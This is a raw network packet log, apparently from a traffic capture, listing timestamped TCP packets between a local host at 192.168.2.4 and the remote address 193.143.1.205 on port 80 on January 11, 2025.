Jan 11, 2025 02:15:54.799540997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.799988031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.799999952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800010920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800023079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800024986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.800035000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800044060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.800051928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800065041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800081968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.800107956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.800580025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800591946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800604105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800614119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800625086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800632000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.800636053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800647974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800658941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800666094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.800669909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800682068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.800685883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.800724030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.801294088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.801306963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.801317930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.801327944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.801338911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.801346064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.801351070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.801362991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.801367044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.801373959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.801384926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.801394939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.801402092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.801413059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.801419020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.801425934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.801438093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.801441908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.801481009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.802249908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.802264929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.802275896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.802282095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.802288055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.802299023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.802309990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.802314997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.802321911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.802334070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.802344084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.802350998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.802355051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.802365065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.802371979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.802375078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.802387953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.802397966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.802431107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.803278923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.803292990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.803303957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.803324938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.803334951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.803347111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.803358078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.803369045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.803375006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.803380013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.803391933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.803402901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.803414106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.803419113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.803425074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.803448915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.804111004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.804122925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.804135084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.804143906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.804147005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.804157972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.804169893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.804176092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.804182053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.804205894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.804224968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.828180075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.828197956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.828217030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.828228951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.828238964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.828253031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.828263998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.828273058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.828325987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.828888893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.828897953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.828912973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.828923941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.828931093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.828933954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.828946114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.828952074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.828957081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.828967094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.828980923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.828990936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.829011917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.829029083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.839117050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.859056950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859086037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859098911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859110117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859122992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859162092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.859194040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.859244108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859256029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859266996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859278917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.859329939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.859433889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859445095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859456062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859462976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859498024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.859750032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859761000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859771967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859781981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859791994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.859795094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859807014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859817028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.859833956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.859858990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.860220909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.860234022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.860244036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.860254049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.860265970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.860268116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.860294104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.860306978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.888976097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889007092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889019012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889050961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.889098883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889111996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889138937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.889241934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889278889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.889311075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889322042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889358997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.889425993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889435053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889447927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889467001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.889599085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889610052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889636040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.889746904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889758110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889770031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889779091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889780998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.889810085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.889945030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.889981031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.890016079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.890028000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.890038967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.890049934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.890062094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.890065908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.890079975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.890460968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.890472889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.890499115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.890664101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.890676975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.890695095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.890700102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.890705109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.890716076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.890728951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.890748024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.890919924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.890930891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.890981913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.891046047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.891057968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.891067982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.891079903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.891089916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.891096115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.891102076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.891113043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.891114950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.891124010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.891134024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.891144991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.891144991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.891155958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.891164064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.891187906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.892060041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.892077923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.892090082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.892101049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.892102003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.892112017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.892123938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.892134905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.892138004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.892151117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.892162085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.892165899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.892172098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.892183065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.892184973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.892194033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.892209053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.892225981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.893048048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.893062115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.893071890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.893083096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.893091917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.893093109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.893105030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.893122911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.893130064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.893134117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.893143892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.893156052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.893166065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.893167019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.893177032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.893184900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.893187046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.893203020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.893220901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.894081116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894094944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894107103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894117117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894128084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894139051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894148111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.894150019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894161940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894171953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894176960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.894184113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894195080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894201994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.894206047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894222021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.894242048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.894870996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894946098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894958019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894968987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894975901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.894983053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.894994020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.895006895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.895008087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.895035028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.919178963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.919207096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.919218063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.919275045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.919322014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.919328928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.919342995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.919368982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.919531107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.919544935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.919557095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.919595957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.949676991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.949690104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.949701071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.949713945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.949727058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.949767113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.949804068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.949805021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.949830055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.949841022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.949879885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.950002909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.950014114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.950025082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.950043917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.950059891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.950131893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.950228930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.950241089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.950252056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.950263023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.950263023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.950274944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.950282097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.950288057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.950310946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.950725079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.950736046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.950747967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.950767994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.950787067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.950858116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.950876951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.950915098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.979556084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.979590893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.979604006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.979650974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.979728937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.979767084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.979799986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.979811907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.979823112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.979841948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.979847908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.979875088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:15:54.980133057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.980144024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.980155945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:15:54.980180025 CET	49730	80	192.168.2.4	193.143.1.205
